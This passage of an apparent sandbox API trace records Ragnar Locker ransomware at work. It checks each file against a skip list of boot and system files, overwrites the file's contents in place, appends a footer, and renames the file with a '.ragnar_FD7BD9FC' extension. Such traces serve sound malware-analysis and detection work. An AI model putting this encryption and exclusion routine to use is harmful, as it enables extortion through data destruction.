[0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="bootmgr.efi") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="bootmgfw.efi") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="desktop.ini") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="iconcache.db") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="ntldr") returned -1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="ntuser.dat") returned -1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="ntuser.dat.log") returned -1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="ntuser.ini") returned -1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="thumbs.db") returned -1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.994] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf")) returned 0x20 [0095.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.995] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5692) returned 1 [0095.995] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1633, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.995] GetProcessHeap () returned 0x580000 [0095.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.995] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.997] VirtualAlloc (lpAddress=0x0, dwSize=0x163c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.997] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.997] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.997] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x163c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x163c, lpOverlapped=0x0) returned 1 [0095.998] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.998] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x163c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.998] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x163c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x163c, lpOverlapped=0x0) returned 1 [0095.998] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x163c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.998] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.998] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x163c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.998] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.998] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.998] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.998] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.998] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.999] GetProcessHeap () returned 0x580000 [0095.999] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.999] CloseHandle (hObject=0x104) returned 1 [0095.999] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" [0095.999] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.ragnar_FD7BD9FC" [0095.999] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.999] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0095.999] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.000] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0299171.WMF" | out: lpString1="J0299171.WMF") returned="J0299171.WMF" [0096.000] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF") returned=".WMF" [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="autorun.inf") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="boot.ini") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="bootfont.bin") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="bootsect.bak") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="bootmgr") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="bootmgr.efi") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="bootmgfw.efi") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="desktop.ini") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="iconcache.db") returned 1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="ntldr") returned -1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="ntuser.dat") returned -1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="ntuser.dat.log") returned -1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="ntuser.ini") returned -1 [0096.000] lstrcmpiW (lpString1="J0299171.WMF", lpString2="thumbs.db") returned -1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.000] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf")) returned 0x20 [0096.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.001] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9142) returned 1 [0096.001] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x23ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.001] GetProcessHeap () returned 0x580000 [0096.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.001] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.002] VirtualAlloc (lpAddress=0x0, dwSize=0x23b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.003] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.003] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.003] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23b6, lpOverlapped=0x0) returned 1 [0096.004] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.004] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.004] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23b6, lpOverlapped=0x0) returned 1 [0096.004] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.004] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.004] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x23b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.004] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.004] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.004] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.004] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.004] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.005] GetProcessHeap () returned 0x580000 [0096.005] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.005] CloseHandle (hObject=0x104) returned 1 [0096.005] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" [0096.005] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.ragnar_FD7BD9FC" [0096.005] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.006] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0096.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.006] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0299587.WMF" | out: lpString1="J0299587.WMF") returned="J0299587.WMF" [0096.006] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF") returned=".WMF" [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="autorun.inf") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="boot.ini") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="bootfont.bin") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="bootsect.bak") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="bootmgr") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="bootmgr.efi") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="bootmgfw.efi") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="desktop.ini") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="iconcache.db") returned 1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="ntldr") returned -1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="ntuser.dat") returned -1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="ntuser.dat.log") returned -1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="ntuser.ini") returned -1 [0096.006] lstrcmpiW (lpString1="J0299587.WMF", lpString2="thumbs.db") returned -1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.006] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf")) returned 0x20 [0096.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.007] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25288) returned 1 [0096.007] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x62bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.007] GetProcessHeap () returned 0x580000 [0096.007] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.007] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.008] VirtualAlloc (lpAddress=0x0, dwSize=0x62c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.009] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.009] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.009] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x62c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x62c8, lpOverlapped=0x0) returned 1 [0096.010] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.010] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x62c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.010] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x62c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x62c8, lpOverlapped=0x0) returned 1 [0096.010] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x62c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.010] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.011] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x62c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.011] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.011] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.011] GetProcessHeap () returned 0x580000 [0096.011] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.011] CloseHandle (hObject=0x104) returned 1 [0096.011] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" [0096.011] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.ragnar_FD7BD9FC" [0096.011] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.012] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0096.012] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.012] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0299611.WMF" | out: lpString1="J0299611.WMF") returned="J0299611.WMF" [0096.012] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF") returned=".WMF" [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="autorun.inf") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="boot.ini") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="bootfont.bin") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="bootsect.bak") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="bootmgr") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="bootmgr.efi") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="bootmgfw.efi") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="desktop.ini") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="iconcache.db") returned 1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="ntldr") returned -1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="ntuser.dat") returned -1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="ntuser.dat.log") returned -1 [0096.012] lstrcmpiW (lpString1="J0299611.WMF", lpString2="ntuser.ini") returned -1 [0096.013] lstrcmpiW (lpString1="J0299611.WMF", lpString2="thumbs.db") returned -1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.013] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 